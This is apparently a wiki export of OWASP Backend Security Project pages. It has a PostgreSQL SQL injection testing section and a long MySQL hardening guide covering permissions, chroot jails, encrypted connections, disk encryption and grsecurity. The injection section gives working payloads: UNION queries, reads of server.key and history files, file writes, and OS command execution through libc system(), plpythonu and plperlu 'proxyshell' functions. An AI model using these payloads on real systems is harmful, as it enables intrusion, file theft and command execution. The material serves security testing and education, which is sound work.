SELECT user
SELECT current_user
SELECT session_user
SELECT usename FROM pg_user
SELECT getpgusername()

'''Examples:'''
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--</nowiki>
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--</nowiki>

=== Current Database ===

The built-in function current_database() returns the current database name.

'''Example''':

<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--</nowiki>

=== Reading from a file ===

ProstgreSQL provides two ways to access a local file:
* COPY statement
* pg_read_file() internal function (starting from PostgreSQL 8.1)

'''COPY:'''

This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system as the ''postgres'' user.

'''Example:'''

<nowiki>
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--
</nowiki>

Data should be retrieved by performing a ''UNION Query SQL Injection'':
* retrieves number of rows previously added in ''file_store'' with ''COPY'' statement
* retrieve a row at time with UNION SQL Injection

'''Example:'''
<nowiki>
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--
...
...
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--
</nowiki>

'''pg_read_file():'''

This function was introduced in ''PostgreSQL 8.1'' and allows one to read arbitrary files located inside
DBMS data directory.

'''Examples:'''

* <nowiki>SELECT pg_read_file('server.key',0,1000); </nowiki>

=== Writing to a file ===

By reverting the COPY statement, we can write to the local file system with the ''postgres'' user rights

<nowiki>
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--
</nowiki>

=== Shell Injection ===

PostgreSQL provides a mechanism to add custom function,s by using both Dynamic Library and scripting
languages such as python, perl, and tcl.

==== Dynamic Library ====

Until PostgreSQL 8.1, it was possible to add a custom function linked with ''libc'':
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT

Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?

Here's a little trick:

* create a ''stdout'' table
*: ''CREATE TABLE stdout(id serial, system_out text)''
* executing a shell command redirecting its ''stdout''
*: ''SELECT system('uname -a > /tmp/test')''
* use a ''COPY'' statements to push output of previous command in ''stdout'' table
*: ''COPY stdout(system_out) FROM '/tmp/test'''
* retrieve output from ''stdout''
*: ''SELECT system_out FROM stdout''

''' Example:'''

<nowiki>
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) --

/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
STRICT --

/store.php?id=1; SELECT system('uname -a > /tmp/test') --

/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --

/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--

</nowiki>

==== plpython ====

PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict
what user can do. It's not installed by default and can be enabled on a given database by ''CREATELANG''

* Check if PL/Python has been enabled on some databsae:
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpythonu'
* If not, try to enable:
*: ''CREATE LANGUAGE plpythonu''
* If all of the above succeeded, create a proxy shell function:
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''
* Have fun with:
*: SELECT proxyshell(''os command'');

'''Example:'''

*Create a proxy shell function:
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os;
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- </nowiki>''

*Run an OS Command:
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''

==== plperl ====

Plperl allows us to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with underlying operating system, such as ''open''. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the ''postgres'' user, to avoid the so called application mask filtering of trusted/untrusted operations.

* Check if PL/perl-untrusted has been enabled:
*: ''SELECT count(*) FROM pg_language WHERE lanname='plperlu'
* If not, assuming that sysadm has already installed the plperl package, try :
*: ''CREATE LANGUAGE plperlu''
* If all of the above succeeded, create a proxy shell function:
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu''
* Have fun with:
*: SELECT proxyshell(''os command'');

'''Example:'''

*Create a proxy shell function:
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu;</nowiki>

*Run an OS Command:
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''

= References =

OWASP : "[[Testing for SQL Injection]]"

Michael Daw : "SQL Injection Cheat Sheet" - http://michaeldaw.org/sql-injection-cheat-sheet/

PostgreSQL : "Official Documentation" - http://www.postgresql.org/docs/

= Tools =

Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net

OWASP Backend Security Project Contributors

2008-10-21T01:00:11Z

Carlo.pelliccioni: New page: = Contributors = == Project Leader == * Carlo Pelliccioni == Project Contributors == * Daniele Bellucci * Erik Sonnleitner * Francesco Perna * Giuseppe Gottardi * Guido Landi * Guido P...

= Contributors =

== Project Leader ==

* Carlo Pelliccioni

== Project Contributors ==

* Daniele Bellucci
* Erik Sonnleitner
* Francesco Perna
* Giuseppe Gottardi
* Guido Landi
* Guido Pederzini
* Maurizio Agazzini
* Massimo Biagiotti
* Pasquale de Rinaldis

OWASP Backend Security Project MySQL Hardening

2008-10-21T00:53:26Z

Carlo.pelliccioni: /* Inside MySQL: DBMS' access control and privilege management */

= Overview =

* Firstly, we will deal about hardening the underlying operating system environment. This is an ultimately essential step towards application layer security, since also the best security mechnism and configuration won't be useful if the whole system is attackable one layer beyond the actual target application. Operating system hardening includes setting right filesystem permissions, the design and implementation of a virtual chroot-jail application executing environment, the use of access control lists as well as a quick introduction about modern virtualization approaches.
* The next topic will be about cryptography, which we will use to aid and secure our database instance at filesystem level and, possibly even more important, the DMBS' communication channels. This will be achieved using either OpenSSL, OpenSSH or OpenVPN. For encrypting the raw database pages themselves, we'll also take a look about filesystem encryption.
* Due to some quite aweful security bugs in the past, we'll discuss how the application's memory area can be protected against stack- and heap-smashing attacks for executing arbitrary code on the machine which actually executes the MySQL database server.
* Then we'll discuss certain security-related MySQL configuration attributes. MySQL is quite straight to configure, but nevertheless there are a few options which inside the configuration files which make life easier - and more secure.
* Finally the access control and privilege management mechanism of the MySQL DBMS itself will be explored and shown in some detail.

The whole article is based on a paper on MySQL Hardening which can be obtained [http://delta-xi.net/index.php?/archives/23-Hardening-MySQL-on-Unix-like-systems.html here].

= Description =

== Introduction ==
The enormous global increase of information which is to be stored, forces certain approaches of achiving and restoring data, while keeping track of numerous valuable and essential preconditions, e. g. data integrity.

Relational databases are still the common way of accomplishing the storage of masses of information, although its conceptional basics reach back to 1970, where E. F. Codd firstly introduced this method of data handling [Cod70].

As global networking dramatically increased the past decades, the TCP/IP protocol stack has become very popular and nowadays builds the fundamental backbone of the Internet. As conclusion to this tendency, also the way of controlling and operating relational database systems mostly relies on the mentioned protocol suites, with all advantages and disadvantages, inherently given by using them.

Accessability and reliability of information services is often constrained by providing them over the Internet, which should be seen as naturally untrusted and insecure network, since not only permitted persons are able to try to establish connections. With the aspect of Unix-like system environments in mind, I’ll figure out how to secure and harden database systems primarily on Linux, taking MySQL 5 as example, since this software is commonly used and widespread, especially over the Internet, for it is Open Source Software. Except for the description of filesystem encryption, all examples should work also on other POSIX compliant operating systems than Linux.

The language of given sourcecodes should be clear from the context they are mentioned. However, shell scripts are written using the Bourne Again Shell (/bin/bash), and most sources are plain C. When shell command examples are given, every line is prefixed with either # or $. While the hash indicates that the following statement has to be called as root user, the dollarsign commands doesn’t need administrative permissions.

== Hardening the operating system environment ==
Common Unix-like systems offer a wide range of security related tools and methods for obtaining access restrictions. The configuration of certain software packages like databases is assuredly to be done carefully and with respect to secureness.

Nevertheless, a system-wide security model for protecting information and information services should begin (at least) at operating system level.

A perfectly configured Oracle Database Server, including DMBS account and role management etc., won’t be useful if everybody may be able to simply copy the raw data from the filesystem for obtaining the desired information quickly and easily. For more in-depth information about Unix and the Unix system environment, I’d refer to [SWF05], [Amb07] and [Bau02].

=== Filesystem access restrictions and ACLs ===
Most suitable filesytems available on POSIX environments provide mechanisms of restricing methods of access in an abrasive way, using (at least) three types of access mode codes, and three ways of describing for whom those modes apply.

The basic filesystem permissions are
* read (→ 'r'),
* write (→ 'w'), and
* execute (→ 'x')

which can be individually referred to
* the user which is the owner of the filesystem object, e.g. a file or a directory (→ 'u'),
* the group of persons which belong to the (main) group of the owner (→ 'g' ), and
* all others (→ 'o').

Taking the major configuration file of MySQL, which is normally found at <tt>/etc/mysql/my.cnf</tt>, the filesystem rights are given as following:
$ ls -lh /etc/mysql/my.cnf
-rw-r--r-- 1 root root 3.7K 2007-07-18 00:14 /etc/mysql/my.cnf

The access rights are shown in the string <tt>-rw-r--r--</tt>. Disregarding the first <tt>-</tt> character, Unix returns basically a nine-character string, which is to be read in triples, as <tt>rw-|r--|r--</tt>. The first triple describes the permissions of the owner, the second the permissions of the owner’s group and the third triple refers to all other users. Therefore, only the owner of the file (the root user, the administrator) is allowed to modify the file because of the write permission - users in the same group as well as all other system users may only read the object. The upcoming columns, both entitled as root describe the owner of the object, and group membership belonging of the object. As we see, the <tt>my.cnf</tt> file is owned by the user root and belongs to the system group root.

The configuration files should always belong to the <tt>root</tt> user, and only permit <tt>root</tt> to write on these objects, since nobody else should be able to modify its contents in any way. The right permission settings may be assured by

# chown -R root:root /etc/mysql/
# chmod 0644 /etc/mysql/my.cnf

In dependency on what other configuration files MySQL actually is referring to, the <tt>chmod</tt> command may also be applied to other items inside the <tt>/etc/mysql/</tt> directory.

==== Storage data ====
MySQL stores the actual data (tables, etc.) in <tt>/var/lib/mysql</tt> or <tt>$MYSQL/data</tt> by default. In contrast to the configuration files, the data storage files should not be owned by the administrator, but by a completely unprivileged user, normally called <tt>mysql</tt>, which isn’t allowed to to anything else inside the Unix system as what is absolutely necessary. Besides the administrator of course, nobody should be able to read and/or modify these objects, therefore we completely revoke any rights of the others user section and just let <tt>mysql</tt> read and write.

Moreover, the <tt>mysql</tt> user should by no means be able to invoke a command shell. This assures that crackers arn't be able to login at the server system, even if this user has been hacked. Revoking command shells is done within <tt>/etc/passwd</tt>, by changing the last column of the mysql user from <tt>/bin/bash</tt> to <tt>/bin/false</tt>. The program given here will be invoked when a user has been successfully authenticated by the system.

==== Logfiles ====
MySQL commonly logs every event, relevant to the database. Absolutely no other users than <tt>root</tt> and <tt>mysql</tt> should be able to read or write the logs, preventing the leaking of information out of the logfiles. For example, certain queries like <tt>GRANT</tt> may offer sensitive information like user passwords, which are stored plaintext inside the protocol files. The logs are normally owned by the <tt>mysql</tt> user, since MySQL needs to write the events here (in contraty to the configuration files, only the administrator should be able to modify, not the MySQL system).

==== Access control lists ====
ACLs, or Access control lists offer a very granular method of defining and granting permissions. As opposed to the standard Unix filesystem permissions, POSIX ACLs are not built-in in the filesystem device driver (as done in <tt>ext2/3</tt>, <tt>reiserfs</tt>, <tt>xfs</tt>, etc.).

The usage of ACLs offers mechanisms for setting up per-user-permissions of single filesystem objects and therefore provide fine-grained definitions of access restrictions, if needed. The corresponding POSIX commands are <tt>getfacl</tt> for viewing ACLs, and <tt>setfacl</tt> for setting up an ACL. These features may be useful to add certain permissions to other users (e. g. automatic logfile analyzers). The following example quickly shows the usage of <tt>setfacl</tt>, allowing the user syslog to write on the MySQL log files:
# setfacl -m user:syslog:-w- /var/log/mysql/*

=== Designing a chroot-jail ===
Even when accurately managing user- and group-memberships as well as read and write permissions to the relevant MySQL filesystem objects, we should assure, that, in case of a successful attack, the system environment does not get compromised in any way. Numerous attacks have been reported on this topic. When talking about attacks, we now commonly mean attacks from within the database system, when users or programs try to gain sensitive system parameters like the <tt>/etc/shadow</tt> file or logfiles via outfoxing the DMBS.

That’s why we need to create a sandbox-like environment where MySQL runs within and is restricted to. In terms of POSIX systems, this is called a change root - environment, or <tt>chroot</tt>-jail named by the corresponding command chroot. In the early Eighties when nowadays keywords like virtualization havn’t been born, Bill Joy introduced the concept of the chroot command which can be seen as forerunner of an virtual system environment.

<tt>chroot</tt> basically repositions the global root directory (/) via remapping it into a specific directory of any directory within the filesystem tree. Any commands, applications, users etc. which act within the chroot-environment actually don’t know that they are working in a sandbox and should have no chance for accessing any part of the filesystem outside the jailed area.

==== Manually designing a sandbox ====
Since the jailed environment won’t be able to access the rest of the filesystem, all relevant system objects like binaries, libraries, the directory structure, logs, etc. have to be copied into the sandbox.

The easiest way to accomplish this by hand, is to get an official static build of MySQL, which doesn’t mandatorily rely on external dymanic libraries (shared objects, respectively) and defines the right directory structure. The first step is to download and unpack the package, as shown here by example of MySQL 5.0.45:
$ export MYSQL_CHROOT=/chroot/mysql
# mkdir -p $MYSQL_CHROOT
# cd $MYSQL_CHROOT
$ wget http://$SERVER/mysql-5.0.45-linux-i686.tar.gz
$ tar xfz mysql-5.0.45-linux-686.tar.gz
$ MYSQL_CHROOT=$MYSQL_CHROOT/mysql-5.0.45-linux-i686
$ cd $MYSQL_CHROOT

We have now prepared a basically functional MySQL environment. Nevertheless, we want to have at least a working shell, as well as some system-wide configuration files needed by MySQL. Therefore we need to copy <tt>/bin/bash</tt> to the sandbox. Since the Linux Bash also depends on certain libraries, it’s necessary to find out which libraries are needed, using the <tt>ldd</tt> command:

$ ldd /bin/bash
linux-gate.so.1 = > (0xffffe000)
libncurses.so.5 = > /lib/libncurses.so.5 (0xb7f8f000)
libdl.so.2 = > /lib/i686/cmov/libdl.so.2 (0xb7f8b000)
libc.so.6 = > /lib/i686/cmov/libc.so.6(0xb7e42000)
/lib/ld-linux.so.2 (0xb7fd9000)

Now we’ll just need to copy the given objects in the corresponding directories of the sandbox. This can be done manually file by file, or simply with the following piece of code:

$ for i in `ldd /bin/bash | awk '{print $3}' | egrep '^/.*'`; do
mkdir -p " ./`dirname $i` " ;
cp $i ./`dirname $i`;
done
cp /bin/bash ./bin

Since MySQL also uses some shell scripts, it will also need the following files:
$ for i in /bin/hostname /bin/chown /bin/chmod /bin/touch
/bin/date /bin/rm /usr/bin/tee /usr/bin/dirname
/etc/passwd /etc/group /lib/librt.so.1 /lib/libthread.so.0; do
mkdir -p "./`dirname $i`" ;
cp $i ./`dirname $i`;
done

We can now initially start the MySQL Server inside the chroot-environment by calling
# chroot $MYSQL_CHROOT /bin/mysqld_safe

The <tt>chroot</tt> command now repositions the global root node / for the command <tt>mysqld_safe</tt>. If an attacker forces to gain access of the system behind the database server, he’s limited to MySQL’s root directroy, which is represented by the <tt>$MYSQL_CHROOT</tt> environment variable, and pointing to <tt>/chroot/mysql</tt> of the real filesystem behind the sandbox.

=== MySQL's built-in chroot mechanism ===

The MySQL database server <tt>mysqld</tt> also has a built-in chrooting-functionality which can be given as command line argument before startup. In case of having all important files (including the corresponding directory structure) inside <tt>/chroot_env/mysqld/</tt>, the following call would force MySQL to programatically chroot to the specified directory.

# mysqld --chroot=/chroot_env/mysqld

Note that <tt>mysqld</tt> will not be able to start up if the given environment lacks on integrity of needed files.

=== Modern virtualization approaches ===

Since <tt>chroot</tt> can be seen as an old-school pseudo-virtualisation, just keeping the MySQL server in a sandbox of an existing system, modern approaches have shown that virtualization and para-virtualization are leading the way of running multiple operating system kernels on one machine.

Therefore, there is no need of creating a sandbox, since every server-system may run in a completely isolated full featured Unix system, while all of these (virtual) servers are run on one single physical server.

The most common ways of aquiring an virtual server environment are currently the open-source project Xen as well as the comparable closed-source software VMWare ESX Server. Basically, those projects provide a so called Hypervisor, which can be seen as an additional abstraction layer, between the system’s hardware and the operating sytstem’s kernels. The hypervisor manages to devide the system resources by the running kernels, independent on which operating systems are used above the hypervisor, without producing much overhead in comparison to natively running the virtualized operating systems.

Since the installation of MySQL on a virtual server is done exactly like a normal installation, I won’t provide more information on this topic within this paper, but I’d refer to [SBZD07].

Another way of performing system restrictions are security suites like the NSA SELinux, as well as Novell AppArmor. Those applications aim to spy and re- strict the behaviour of certain programs and what they are trying to perform on the filesystem as well as via system calls.

== Cryptographic appliances ==
=== Encrypting network traffic ===

For encrypting network traffic, there are several differnet ways. One may use
* OpenSSL as MySQL's built-in cryptosystem,
* OpenSSH as external tunneling application, or
* OpenVPN tunneling.

All cryptographic implementations are available for every platform MySQL is capable of, and all three use strong encryption. Using OpenSSL deserves some MySQL internal configuration, and is based on certificates. This may be a good choice if there already is a public-key-infrastructure (PKI) available.

OpenVPN provides a link between two trusted private networks, over an untrusted (mostly non-private) network (normally the Internet). This needs an OpenVPN gateway server, which should commonly not be run on the same machine as the MySQL daemon does due to security reasons. Setting up an VPN tunnel is normally done to encrypt the whole network traffic between two parties, and deserves deeper knowledge of configuring a VPN gateway. Therefore, I won’t provide information on this variant, which can be obtained from [BLTR06].

An OpenSSH tunnel is easy to setup and maintain, as well as secure and well-known to most Unix users.

==== OpenSSL ====
For using OpenSSL encryption, the MySQL server has to be capable of understanding OpenSSL. Most standard MySQL packages of the common Linux distributions already offer OpenSSL-enabled MySQL services out of the box. If not, you may compile the sources of MySQL manually and run the <tt>configure</tt> script with the option <tt>--with-vio --with-openssl</tt>. OpenSSL activation forces the environment variable have_openssl to be set to <tt>YES</tt>. This can be checked by
mysql > SHOW VARIABLES LIKE ’%openssl%’;
+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| have_openssl | YES |
+---------------+-------+

Since the OpenSSL encryption implementation of MySQL sustains upon certificates, we need to create
* a Certificate Authority (CA) key and certificate,
* a server encryption key, as well es a server certificate request,
* a client encryption key, as well as a client certificate request.

The following shellscript will do this for us (OpenSSL binaries have to be installed):
#!/bin/bash
DIR=`pwd`/openssl
PRIV=$DIR/private
mkdir $DIR $PRIV $DIR/newcerts
cp /usr/lib/ssl/openssl.cnf $DIR
replace ./demoCA $DIR -- $DIR/openssl.cnf
openssl req -new -x509 -keyout $PRIV/cakey.pem
-out $DIR/cacert.pem -config $DIR/openssl.cnf
openssl req -new -keyout $DIR/server-key.pem
-out $DIR/server-req.pem -days 3600 -config $DIR/openssl.cnf
openssl rsa -in $DIR/server-key.pem -out $DIR/server-key.pem
openssl ca -policy policy_anything
-out $DIR/server-cert.pem -config $DIR/openssl.cnf -infiles $DIR/server-req.pem
openssl req -new -keyout $DIR/client-key.pem
-out $DIR/client-req.pem -days 3600 -config $DIR/openssl.cnf
openssl rsa -in $DIR/client-key.pem -out $DIR/client-key.pem
openssl ca -policy policy_anything
-out $DIR/client-cert.pem -config $DIR/openssl.cnf -infiles $DIR/client-req.pem

Lines 1 - 6 create a useable directory structure for storing the resulting keys and
certificates. Be sure to call this script from a safe location; keys are normally stored
in /etc/mysql/keys or something similar.

Line 7 and 8 generate a local Certificate Authority for signing the certificates which
are to be created.

Lines 9 and 10 create an encryption key for the MySQL server and a certificate
request, which is to be signed afterwards. The certificate will be valid for 3600 days.

Line 11 (and line 16) is optional and would remove the passphrase from the server key. This
means that it’s not necessary to give the passphrase every time the MySQL server
is restartet. This behaviour may be seen as security risk, depending on where the
(unencrypted) key will be stored.

Lines 12 and 13 will sign the previously generated server certificate with our local
CA instance.

Lines 14 and 25 create a client key and certificate request.

The last lines sign the client certificate with our local CA instance.

We finally have to tell MySQL where our encryption keys and certificates are stored, which is done in my.cnf. We need entries for both, server and client. Note that the client configuration as well as the client and CA certificates have to be available on all clients who wish to encrypt MySQL related network traffic.

ssl-ca=$DIR/cacert.pem
ssl-cert=$DIR/client-cert.pem
ssl-key=$DIR/client-key.pem
<...>

[mysqld]
ssl-ca=$DIR/cacert.pem
ssl-cert=$DIR/server-cert.pem
ssl-key=$DIR/server-key.pem
<...>

<tt>$DIR</tt> is to be replaced by the chosen key and certificate directory.

==== OpenSSH ====
Encrypting network traffic using OpenSSH is done via tunnelling. The advantages of this method are:
* An existing MySQL configuration has not to be altered
* There is no administrative overhead for creating and maintaining certificates and keys
* The tunnel itself is transparant to MySQL since SSH does everything on its
own
* Easy setup

However, there are several points which may be seen as disadvantages:
* The tunnelling mechanism itself has to be done on the client(s), which leads to decentralized administration
* The calling client(s) require to have a valid system user on the box where the OpenSSH server is running
* The server machine must run an OpenSSH server (which is the easiest way, but not unconditionally necessary), the clients must have the ssh binary installed

The basic idea is that the <tt>ssh</tt> binary on the client(s) opens a socket which is bound to a specific port (3307 in the following example). <tt>ssh</tt> encrypts all the traffic, coming through this port and sends it to the OpenSSH server which will perform the decryption transparently and redirect the unecrypted traffic to the port, the MySQL server is listening on.

The MySQL TCP connection a client tries to establish, is done to localhost instead of the MySQL server, to the port number bound my <tt>ssh</tt>.

On the client side, the following command will set up our OpenSSH tunnel:
ssh -L 3307:<MySQL server address>:3306 <username>@<OpenSSH server address>

The clients can now connect through localhost the get in touch with the MySQL server:
mysql -u <mysql_username> -p -h 127.0.0.1 -P 3307

Note: The OpenSSH server doesn't mandatorily have to run on the same machine as the database server does. If OpenSSH runs on server A and MySQL on server B, we need to set up an packet redirection, which can be done using <tt>iptablest</tt> on machine A:
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables
-t nat
-A PREROUTING
-p tcp
--dport 3306
-j DNAT
--to-destination <address of MySQL server>
iptables
-t nat
-A POSTROUTING
-p tcp
-d <address of MySQL server>
--dport 3306
-j MASQUERADE

The statement in line 1 just activates IP packet forwarding in the Linux kernel. The second command activates traffic redirection from the OpenSSH server (where the <tt>iptables</tt> rulebase is active) to the MySQL database server. Finally, with the third command, we activate masquerading to ensure that responses of the MySQL server are correctly translated and redirected to the calling host (e.g. the MySQL client).

==== OpenVPN ====

=== Encrypting raw databases on filesystem level ===
As long as the MySQL server is up and running, and keeping track of incoming queries to provide stored data, the database files have to be unencrypted and readable. It’s primarily the job of the DMBS, to only allow authorized users to read and/or write data of certain tables.

Nevertheless, if a harddisk (including backups, tapes, etc.) gets stolen, the stored data is world-readable from every external system. If needed, encryption can solve this problem. Using encryption on filesystem level is quite easy in nowadays 2.6 Linux kernels.

The following section contains two different approaches for encrypting the filesystem, for the first one is quite Linux specific and the second one will run on Windows, Linux and OSX.

==== Linux: dmcrypt ====
The following steps need to have <tt>losetup</tt> and <tt>cryptsetup</tt> installed on the System, as well as a kernel which has been built with <tt>CONFIG_DM_CRYPT</tt> and <tt>CONFIG_BLK_DEV_DM</tt> support (which most of the current kernels have). Most Unices offer the use of encryption, but most of them are not platform independent.

MySQL stores its data in the <tt>$MYSQL_CHROOT/data</tt> directory, we will now encrypt. We will proceed with the following steps:

# We generate a file with completely randomized content, with the maximum size of the MySQL storage tables (in the following example, 100MiB). If the reserved space points out to be too few, we can simply create a bigger one and transfer the encrypted data later.
# We create a new loopback-device, which is capable of handling our crypted data-image as harddisk partition.
# We connect the loopback-device with a so called crypto-target, which encrypts everything which is written onto the target, and decrypts everything which is read from the target, as long as the crypto-target is enabled.
# Format the crypted data container with a filesystem of our choice (ReiserFS in this case).
# Mount the crypted container, as it’s ready to use.

These steps are done via the following commands:
# dd if=/dev/urandom of=$MYSQL_CHROOT/data.crypt
# losetup /dev/loop0 $MYSQL_CHROOT/data.crypt
# cryptsetup -y create mysql_data /dev/loop0
Enter passphrase: Passphrase
Verify passphrase: Passphrase
# mkreiserfs /dev/mapper/mysql_data
# mount /dev/mapper/mysql_data $MYSQL_CHROOT/data

Now, before starting up the MySQL database server for everyday use, we have to enforce step 2, 3 and 7. Detailed information about the theoretical backgrounds to cryptography may be found in the wonderful reference of Bruce Schneier [Sch05], as well as [Ert03] and [Wae03]. Information on practical filesystem encryption is found in [Pac05].

==== TrueCrypt ====
Truecrypt has experienced a large hype in the last years since it's very easy to use, focussed for desktop systems and has a graphical user interface. Nevertheless, my own benchmark tests have proven that TrueCrypt's performance is much slower than <tt>dmcrypt</tt>, and the data throughput stagnates at about 40% of what <tt>dmcrypt</tt> is capable in terms of performance (this has been tested on an Intel Core2 Duo, 2 x 3.2 GHz, 2GiB RAM on SATA2 harddisks using Linux 2.6.23).

The installation of Truecrypt is quite easy since precompiled binaries are available for all supported platforms, including Linux binaries as well as Debian (and Ubuntu) packages.

When starting the software, an easy-to-use graphical dialog appears which should be quite self-explementory.

Like <tt>dmcrypt</tt>, also Truecrypt offers two possibilities of creating encrypted volumes:
* Format a whole partition which is to be filled with encrypted content, or
* creating a fixed-size container achive file; this file will again be looped back to a pseudo-device which can be accessed by the operating system just like a normal partition.

Interestingly, the latter is the faster alternative, according to the corresponding article on the German IT online news magazine heise.de.

=== Non-realtime encryption routines for database backups ===

== Protection against stack-smashing and other memory corruption attacks ==

=== The main problem with memory ===
Since MySQL has been written in C (and partly C++), the code is implicitly based upon pointer arithmetics and therefore offers a broad spectrum of possible buffer-overflow vulnerabilities. The most common form of buffer overlows are stack-based smashing attacks, since they're normally much easier to produce than heap-based overflows.

Todays high-level programming languages like Java and C\# follow a conceptional hiding of pointers to the developer, which, spoken generally, leads to more secure code since overflows nearly always sustain upon exploitable pointer structures. Nevertheless I'm going to figure out some possibly insecure code-snippes of the current MySQL version, before describing howto avoid attacks on them.

Here's an outtake of <tt>mysql-5.0.45/libmysql/libmysql.c:693</tt>

my_bool STDCALL mysql_change_user(MYSQL *mysql, const char *user, const char *passwd, const char *db) {
char buff[512],*end=buff;
int rc;
DBUG_ENTER("mysql_change_user");

if (!user)
user="";
if (!passwd)
passwd="";

/* Store user into the buffer */
end=strmov(end,user)+1;

This code is always executed when the calling application intends to change the current MySQL (DBMS-) user. Like shown in line 4, memory for a character buffer <tt>buff</tt> is statically allocated with a size of 512 bytes. When strings have to be passed to a function, C only passes pointers to the beginning of the string, which should be terminated by a NULL-byte (00000000 binary), to indicate where the string ends. The function <tt>strmov</tt> at line 14, which does basically the same like ANSI <tt>strcpy</tt>, copies the username (passed to <tt>mysql_change_user()</tt>) in the allocated buffer. However, since the size of the corresponding username has never been checked to be less than 512 bytes, this code represents a classical stack-based buffer overflow.

Moreover, C doesn't has a built-in exception management. If a function fails, is in most cases only shown by the return value. Therefore, not checking the return values of certain, possibly critical, and especially memory mapping functions can be very dangerous and may lead to segmentation faults. The following piece of code shows this (<tt>mysql-5.0.45/innobase/log/log0recv.c:3081</tt>):

log_dir_len = strlen(log_dir);
/* reserve space for log_dir, "ib_logfile" and a number */
name = memcpy(mem_alloc(log_dir_len + ((sizeof logfilename) + 11)), log_dir, log_dir_len);
memcpy(name + log_dir_len, logfilename, sizeof logfilename);

This code is part of the InnoDB sources, which attempts to be an journaling ACID-compatible database backend. The developer wants to put the <tt>log_dir</tt> string into a newly created buffer called <tt>name</tt>. The memory allocation of <tt>name</tt> is done within the <tt>memcpy</tt> call, and the return value is not checked against 0, which would indicate that the memory allocation has failed. In such a situation, the MySQL database server process will probably get killed by the System, since writing to unallocated memory normally leads to a segmentation fault.

=== Possible solutions: grsecurity under Linux ===
One possible solution to this problem is <tt>grsecurity</tt>. This software package introduces a couple of patches for the Linux kernel. The most valuable one for our purposes is <tt>PaX</tt>

<tt>PaX</tt> provides some very desirable functionalities, including:
* Flagging of certain memory areas (such as the stack of processes) as non-executable. This helps very much since most memory attacks force to corrupt the stack, for this is a quite easy way as compared to exploit vulnerable heap segmets. This means that an exploitation attempt will possibly corrupt the stack, but will not be able to execute arbitrary code, which kind-of guarantees the system's integrity. (However, memory corruptions may lead to software misbehaviour and denial of service).
* Flagging of memory areas which contain executable machine code as non-writeable. This prevents attacks which are trying to directly access and modify the process' code segment for taking over the execution flow.
* Providing of ASLR, what means Address Space Layout Randomization. This makes exploitation itself much harder, since most exploits rely on the knowledge of return addresses on the stack (in fact, in most cases, the return pointers of a running procedure which should be overwritten is only estimated; with ASLR, the estimation will be much harder).

Another feature of <tt>grsecurity</tt> is Role Based Access Control, what we will not inspect in deeper detail here.

The whole set of patches can be obtained from the [http://www.grsecurity.net/download.php grsecurity] website. The application of the <tt>grsecurity</tt> patchset must be done according to the kernel version which should be patched, before recompiling the kernel itself.

The following code demonstrates the download and patching procedure for Linux kernel 2.6.17.7 and <tt>grsecurity</tt> 2.1.9.

cd /usr/src
wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.17.7.tar.bz2
wget http://grsecurity.org/grsecurity-2.1.9-2.6.17.7-200607261817.patch.gz
tar -xjvf linux-2.6.17.7.tar.bz2
gunzip < grsecurity-2.1.9-2.6.17.7-200607261817.patch.gz | patch -p0

Afterwards, the kernel (and possibly modules) has to be configured and recompiled as normal. The <tt>grsecurityt</tt>-related options can be found in the section '''Security''' -> '''grsecurity''', which offers several levels of security.

== Security related configuration attributes ==

The <tt>my.cnf</tt> file may contain a rich set of possible configuration attributes and values, which can change the behaviour of the MySQL server dramatically. The whole file is basically split up into a couple of different sections, each describing the configuration of a specific MySQL executable which is written within brackets, e.g. <tt>mysqld</tt>, <tt>mysqldump</tt>, <tt>client</tt>, etc. We will further focus on <tt>mysqld</tt> only. The whole set of configuration attributes can be achieved in the MySQL sample configuration files, usually found in <tt>$MYSQL/support-files/</tt>.

=== Connectivity ===
